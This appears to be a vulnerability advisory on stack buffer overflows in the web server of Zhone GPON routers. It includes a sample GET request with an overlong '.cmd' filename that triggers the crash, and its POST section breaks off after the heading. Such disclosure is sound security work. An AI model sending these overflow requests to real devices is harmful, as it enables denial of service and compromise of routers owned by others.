Title: Multiple Remote Code Execution found in ZHONE
Vendor: Zhone
Vendor URL:
Device Model: ZHONE ZNID GPON 2426A
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)

Public release:
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>


ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to the use of unsafe string functions without sufficient input validation in the httpd binary. Two exploitable conditions were discovered when requesting a large (7000) character filename ending in .cgi, .tst, .html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage Point has developed working code execution exploits for these issues.

1. Stack Overflow via HTTP GET Request

GET /.cmd?AAAA…..AAAA<7000 Characters> HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive

2. Stack Overflow via HTTP POST Request
